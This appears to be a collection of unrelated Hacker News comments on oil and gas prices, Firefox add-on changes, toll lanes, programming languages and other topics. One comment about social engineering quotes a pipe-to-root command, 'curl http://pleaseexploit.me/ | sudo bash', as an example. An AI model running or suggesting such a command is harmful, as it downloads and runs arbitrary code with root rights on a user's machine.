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"That's not enough to refute derekp's point, though."

Fine, fine, it doesn't "refute" it, it "merely" makes it irrelevant to the real world.

I don't think the rest of your message is particularly relevant to mine. Having claimed that there are varying degrees of safety, I'm not sure how an extended discussion of the varying degrees of safety of various technologies counters anything I said.

(Also, as a pragmatic matter, I consider "C" and "C + Valgrind + Coverity + whatever else" to basically be different languages. However, don't talk to me about how wonderful the latter is if you're programming in the former! You have to actually use the tools, not just get a sense of comfort from the fact they exist.)
Wait this is a joke right. What the fuck is wrong with Silicon Valley.
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OPEC is trying to destroy the American shale businesses by making them unprofitable. There was huge investment in shale based on higher oil prices and if they can't recoup that investment OPEC stands to keep their monopoly.
To be fair, many people worked on their car because it was both accessible and a cheap way to increase the value of and/or reduce the cost of a large purchase. Cars' mechanical components have become less accessible over time, and while you can still work on them yourself, it requires either more knowledge to do so or to use more modular components where there's less technical work besides plugging it in.

Computer hardware isn't much better.

Software though, that's where I'm convinced this spirit is more alive than ever. Instead of racing his car your nephew may play racing games, and instead of working on his car to make it faster/better/cooler, he might become interested in making a game, or other software, and the bars of entry for that are lower than they've ever been, and are just getting lower.
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The same thing that happens now.
You're forgetting families, folks who prefer to cook their own food, and the fact that in many places, AirBNBs can let you sleep more people than a hotel room for less money. Also, depending on your destination, there might be AirBNBs where there aren't hotels (in city neighborhoods, near your relatives, etc.).

Hotels still work for some folks, some of the time. Likewise AirBNBs/VRBOs, etc. Different benefits, but they're definitely there.
Summer is peak demand for gasoline and puts refiners near peak production. Any unscheduled offline time can keep prices high. A refinery in Indiana sent Midwest prices going up, for example.

If the refinery production is the limiting factor, oil could be free and it might not lower gas prices in the short term.
Ask HN: Ubuntu phone- has anyone used it yet?
The Ubuntu phone has been debuting around the world in the past month, yet strangely there's been very few reviews of the actual device and software. Has anyone on HN tried it yet? How is it?
The Developer Edition won't help much if plugins that don't fit the new API are abandoned, which strikes me as a likely occurrence. I don't think many will bother to maintain non-developer-oriented plugins just for those using the Developer Edition.
The other way to look at this is that if the price is able to find equilibrium at a low enough point, it will not be economically feasible to extract certain types of oil from the ground (e.g. tarsands). The real question is how much of an effect low prices will have on demand.
It is fundamentially wrong to spend the money (and therefore time) of people who are not born.
Yes, and if you lifted heavy weights tomorrow you'd get very sore. If you lifted them every day you wouldn't feel sore and they wouldn't feel heavy. Overcoming discomfort requires enduring discomfort.
> ... OPEC members are planning to boost production

In 2012 Saudi had a $2.3 trillion USD gross operating surplus in crude petroleum and natural gas. They can afford to play this game (market share) for really long time.
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I've got both of those books and even took a DC communications course (for which I paid out of pocket). They got me into some paralysis by analysis. Every interaction becomes a frantic tree search through the set of conversational rules I learned from those and other advice books. Win Friends in particular seemed very glib and sales/business oriented, rather than aimed at connecting on a sincere level.
On behalf of everyone else on the planet, I apologise that we don't all share your exact tastes in everything. It must be really difficult, being you, knowing exactly what the right amount of everything is but having to watch all these other people go around with their own incorrect tastes and preferences.

In this case particularly, you simply couldn't be more right. I can't imagine any kind of general use for a C++ compiler. It's about the most obscure, wildly specific piece of arcana I've ever heard of.
Add-ons can do malicious things, requiring signatures doesn't stop that and it could even give a false sense of security. However, I think the major concern with signatures is the authority aspect.
This is really interesting, I'd love to see more about it. It's a shame they're not opening the source or at least putting up a public instance to test, I'd really like to give it a go.

I'd be very interested in some more detailed information about this. For example, I'd like to see a list of the hundred transformations required to edit JavaScript. They also mention that it is a home-row-oriented editor - what does that mean? Are the common commands available on the home row, such as navigation etc?

As the developer of a LISP IDE with structural editing functionality, this looks very interesting - please share more information!
Isn't this basically FasTrak?

https://en.wikipedia.org/wiki/FasTrak

It seems to represent everything else in the state of California: you get what you pay for. It creates a classist, elitist society.
And it will go lower! Canadian crude hit $23/bbl earlier in the week.

North America is close to maxing out storage capacity...possibly within 90 days. We've not been this close to max storage capacity in more than 80 years.

North American crude oil production currently exceeds demand (meaning what we have capacity to refine) by over 1 million barrels a day. All that extra is getting dumped into storage.

And the spread in price between crude oil and gasoline will likely stay large.

The USA can't export crude (by law), but can export refined product (gasoline, diesel, jet fuel, etc).

So there's a finite closed market for crude oil (that's running out of places to store it), but a ready export market for refined product (mostly Central and South America).

Net result: low crude oil prices, high gasoline prices.
The fact that they are hedged doesn't change much unless they are all hedged. If some of them aren't hedged, they will drive the price down, forcing the other stations to sell their inventory at a loss.
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Chrome doesn't have nearly as many useful plugins. If Firefox ends up that way, I'll probably use something else...
I am not sure if we could conclude that the demand is off. I believe that the traders who were controlling the inventories have finally closed their trades and walked away while they are ahead. Oil of course is a geopolitical commodity and a slide in prices usually helps developing countries that need oil to just keep the machinery running. Alternative sources are still not as accessible as one would like. All in all, I seem to think that this trend is not going to bode well for all the tax subsidies for solar panels in the US and will only delay discussions on climate change.
Smalltalk is no more visual or tied to GUIs than C++ is. There's at least one variant, GNU Smalltalk, which doesn't have an IDE. Squeak is a rather nice IDE, though, and makes a good point in the way it blurs the boundary between programming language and operating system. We've had Lisp Machines; I think a Smalltalk machine would be cool.

You can visualize the space of programming languages as having local maxima where, if you modify the language in any way, you make it worse. I think Smalltalk occupies one such local maximum, Prolog another. Others are less clear-cut.

Of course, being good doesn't equate with being popular. Java is a Smalltalk-C hybrid and is very popular. It aimed very well at the average programmer, and hit its target.
I'm 30, with very millennial attitudes except not as anti-establishment. Thanks, those sound like good tips.
> side-loaded add-ons that can steal your information are a legit security threat

How so? Sideloading means OS-level access. OS-level access means your whole user account is already compromised if it was malicious software.

There is no additional security gained by preventing side-loading after malicious software already got into your system.

If someone social-engineers you into "install this .xpi" they might as well manage to trick you into "run this .jar" or "run this .exe" or please "curl http://pleaseexploit.me/ | sudo bash" to check out our newest software!
Not only oil sands, but shale oil, deepwater oil, etc.
For my part I'm evaluating graph databases for content storage, as backing store for webapps, as an alternative to relational databases. Number of nodes less than a million, so very small datasets by most standards, and I do need fast ad-hoc queries (what you call graph traversal, not analytics), sharding and transaction support.
He has a point (expressed in a roundabout way) about grading systems with low ceilings. I believe you are expressing the same point in straightforward manner: Low ceilings are bad.

Your point: top grade at 70%? That's bad, can't distinguish between ok and really good.

His point: top grade at 90%? So nobody is ever taught anything hard, then? Otherwise, how would so many people be able to get the top grade?
​Mozilla drops XUL, changes Firefox APIs; developers unhappy
For those who didn't realize the difference between expenses and burn (I'd always equated them):

"Your burn rate is the speed at which your cash balance is going down."

http://avc.com/2011/12/burn-rate/
https://www.coursera.org/course/statistics

They demonstrate using R but its not required.
If people were to form such an opinion of me based on that, I wouldn't take them seriously as peers.

There is no magic involved, and if a git repo ever breaks (which, ironically, last happened on a SCM server), I know enough about the internals to fix it by hand.

(although I would probably simply rewind Time Machine or pull from the central repo if it happened on my Mac - less time and hassle)
> Barring some cataclysm, someday Uber will be insanely profitable.

As long as their funding holds on long enough for the to possibly develop self-driving cars before Google or Tesla, and if transportation laws change in their favor.

Good luck disrupting when the roads vital to your survival aren't owned by you.
Demand had been increasing since the bottom of the great recession. This started last June with the dollar lifting off (pushing commodities down and crashing emerging markets), and the Saudis deciding to try to retain market share and crush the booming US oil production. So now, despite $40-$60 oil, the Saudis are producing the most oil they ever have. US oil companies have managed to constantly reduce the cost of their oil, with frackers getting it down to $40 to $50 / barrel, the US will produce almost a million barrels per day more than in 2014 despite the price drop. On top of all of that, the market is front running both Iran bringing its oil online again, and the Fed raising interest rates and sending the dollar higher.
Cheap natural gas also can mean cheap electricity, in case anyone was wondering about the effect this might have on companies such as Tesla. Natural gas produces more electricity in the U.S. than anything else, including coal (by a tiny margin).
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At that level of capitalization and complexity, military aviation would almost certainly offer a better chance of success...that's probably where SpaceX's hockey stick will lie over the long term.
Not exactly. Apple, for example, has already begun encrypting so that they themselves can’t decrypt the data.

And that’s exactly how it should be.
US oil production increased considerably over the past few years, then the Saudis deliberately increased production to drive down the high prices that had in part enabled the increased US production.

"Saudi Arabia has maintained a high level of oil production despite the slump in crude oil prices, arguing it needs to protect its market share in an economy in flux because of the glut of U.S. oil."

http://www.upi.com/Business_News/Energy-Resources/2015/07/13...
Previously: https://news.ycombinator.com/item?id=6767212
FYI, i have used Aurora/DevEdition almost exclusively (outside of testing) on at least a dozen different Windows and OS X machines ever since the Aurora channel was created and i have never once had a serious problem. Occasionally i find little visual glitches or whatever, but it rarely ever crashes and i never get data loss or anything severe like that.
There is significant staff devoted to oversight-theater. Plenty of metrics with scant connection to reality are collected, and plenty of reports that no one reads are produced.

Every few years, there's a disaster big enough to attract attention, frequently connected to IT. Then, a sacrificial lamb in upper-middle-management resigns and goes to a new cushy post in a sibling organization or in a big consultancy. Then, some departments are split up or merged and new acronyms are created, with few noticeable real-world consequences.
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The capital cost for the saudis is $15 and they are okay pushing it to $20.

One paradoxical fact about the drop in oil prices is there is a uptick in investment in renewable !

The market for renewable is not only folks who care about prices but also people who are worried about emission and self-sufficiency ( this is more to do with countries )

So a drop in oil prices is leading to greater investment in solar and wind which I do not think the saudis expected !

Another interesting analysis is the fact that the boom and bust cycle in oil is getting much shorter. Economists are not exactly sure why that is happening.

One think to worry about is this deflation might bifurcate and cause another recession. Only time will tell.
This looks pretty interesting especially for low latency / realtime-ish applications.

In that case it is already common to isolate CPUs and other resources away from the base system and run the high priority components on it.

This just takes it further that way.

Well and I guess because it is sponsored by Siemens, I shouldn't be surprised. They would be very interested in those kind of applications probably.
> The restrictions weren't necessary in the past, the situation was clearly good enough for millions to start using browsers. Why is it necessary now?

Much of the impetus for this change is to make sandboxing possible. You need to be a multiprocess browser to be a sandboxed browser. Multiprocess Firefox is incompatible with many of the things that addons are doing right now. So, this statement is equivalent to "we didn't need sandboxing before; why do we need it now?" Is that what you're arguing?
>In addition, most gas stations will buy gasoline futures a few months out to stabilize their costs, and when oil price falls, the cost of the underlying gas purchased is still at the negotiated futures contract price. So it makes sense that the price wouldn't fall in tandem with crude prices.

Only if the gas station is speculating and trying to arbitrage the market. Otherwise, they would reduce the price to reflect the updated price of the underlying futures.
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Analyzing Crop Yield by Drone
I hope Russia isnt done revolting.
This answer gets more awesome the more I think about it.

Initially, I was going to reply that it was crass. Then, I thought about it and grinned.

But I think that flakmonkey's point is that yes, if you're poor, you'll be stuck in traffic at least just as long. More likely though, you'll be stuck in traffic far more than currently, because people who can afford to pay for it will. Being that freeways use public funds, that probably shouldn't be the case.
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Non-malicious Java applications almost never have remotely-exploitable buffer overflow or memory corruption bugs. Java's issues are nearly entirely sandbox escape issues that stop malware that's chosen to be run from being sandboxed completely.
The implications of testing for anabolic steroids for previously non-gender-segregated competition is worrying. Previously, a transitioning transgendered person could openly compete in an eSports tournament; steroid use was just irrelevant to what eSports measure.
Amazon is not doing this with the intention of "killing" flash.

They do this because flash ads are now no longer seen by a large enough group of users which makes them bad advertising vehicles.

Maybe at some point the Prime Music people will decide that a large enough group of users are no longer able to use their service, but that is a totally different decision with different motivations.
..That would just route out of town traffic happening to pass through the freeway onto city streets which would be much worse for local residents.
The US can export refined crude products but not crude itself, so there's more potential demand for refined products like gasoline.
So are you saying it doesn't work? What issues are you having with Bazaar that require a new release?

I couldn't care less if Git stopped making releases; what I'm using isn't the latest anyway and does everything I want. (Though I'd like any newly discovered security holes to be fixed in any pieces of Git that face the Internet; e.g. via embedding in CGIT).
We put a lot of work into it this year.. really hope people find it useful!
Wow, are those transponders still that big or is that an older model? We have Good2Go here in the Seattle area, and the little RFID cards are about as big as a credit card (though a bit thinner I think).
iOS: FRP or classical imperative programming?
I definitely find FRP compelling, especially latest (swiftest?) ReactiveCocoa3 implementation.

But should I really consider switching to this FRP mental model of making iOS applications? Should one consider the good old imperative model of making software as predecessor of modern, functional, reactive way?

Having been reading all this articles about advantages of FRP I sometimes find myself as a programmer who had been writing software in ASM before C came. I mean, OK I agree that sometimes managing exponentially growing state is overkill but is transforming Signal/SignalProducer's to _declare_ what I want to achieve a good tradeoff?
Will Bear market bring Cash flow constraint to Startup funding?
Dark times ahead or just a minor correction?
He mentions multiple times in the first few paragraphs that this is an evolution of the current bcache code:

"For those who haven't kept up with bcache, the bcache codebase has been evolving/metastasizing into a full blown, general purpose posix filesystem... I and the other people working on bcache realized that what we were working on was, almost by accident, a good chunk of the functionality of a full blown filesystem - and there was a really clean and elegant design to be had there if we took it and ran with it."
Yup, it's not going to be easy.
Two quick points

1. You have switched the terms in your amazon example. Amazon uses GMV for 1st party and revenue (its cut of GMV) for 3rd party marketplace.

2. Why would you have flash ownership in a dropship model? Seems to me that would be a regular wholesale/retail model not dropship.
The article has been edited without notice of modification.

I don't know if a public reversion history is kept or if any of the caching engines picked up the version that I saw.

First instincts of business is often to obfuscate, bury, and ignore. It's not completely unexpected or unusual.

I've actually noticed quite a bit of text on HN that gets modified over time, often with no public revision history or even notice of modification.

Bug? Feature? Oversight? Not sure.
Well, counter-intuitivley, consumer gas prices aren't falling nearly as much if at all.

Personally I think the DOJ should investigate refineries, as none of the seem particularly eager to compete on price. They're making record profits as the price of crude collapses while the price of gasoline is flat.

http://www.latimes.com/business/la-fi-refinery-profits-recor...

It seems very fishy to me that we have so much crude building up, yet consumers aren't seeing any real benefit from cheaper gas, cheaper shipping, or cheaper domestic flights.
MN had a refinery problem so depending on your area of the country, barrel price might not be a determining factor. Diesel in ND is cheaper than gas.

Now, if we could standardize on one gas formula for the entire US, things might go better.
In a scenario in which a private actor, of its own volition and for its own reasons, decides to conduct a search, and then chooses to reveal the results of the search to the government, it is clear from Burdeau v. McDowell that evidence should not be excluded. But if a company's primary business was performing warantless searches for the government, paid for by the government and at its direction, I think it is very likely a court would find that private actor to be a government agent, and thus evidence collected should be excluded. If an arrangement exists for the primary purpose of evading the Fourth Amendment, many judges would disapprove of that and try to shut it down. But to my limited knowledge, this scenario has never been presented to a court.
All the assumptions underlying the "Peak Oil" theory have been invalided by new technology.

Eventually we'll get there, but not this century...and possibly never if non-petroleum energy sources are developed between now and the end of the century.

Remember, petroleum was the answer to the "Peak Oil" problem of the 1840's & 50's.

We were running out of whale oil...and the solution wasn't more efficient ways to hunt and kill whales (though that did extend the life of the industry by a couple of decades). The solution was an entirely new energy source.

Petroleum will undergo the same transition...and the new recovery technology has bought the world a few additional decades to find that solution...
You've gotten some good responses so far - I'd like to chime in as I'm still in the 'early-stage' of learning C# myself.

A book that should get you up to speed on 90% of C# relatively quickly is Professional C# 5.0 and .NET 4.5.1 by Jay Glynn. It's not got info on C#6 and .NET 4.6 yet, but the differences there are pretty quick/intuitive to pick up.

Afraid I can't help to much with the databases portion - it's something I'd like to find a book on myself! Good luck on the career switch! (:
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Finally a Temujin I can get behind! (Didn't care much for the first one.)
In fact it's low because supply is increased. Saudi was annoyed by North American innovation, and sought to dissuade private investors from financing any more of it. Private investors do wish that the price were higher, but it turns out that exploration and production costs are now low enough for North American production to be profitable still. For the most part, despotic regimes who control various national oilfields are suffering in the current market. Either Saudi don't care which of their competitors go out of business, or they have other reasons to keep production high over the medium term.
That's a very good point.

I personally believe that all traffic (including surface streets) should pay congestion tolls when there would otherwise be a traffic jam. Again, spend all that money to subsidize mass transit which would benefit local residents without raising local taxes.
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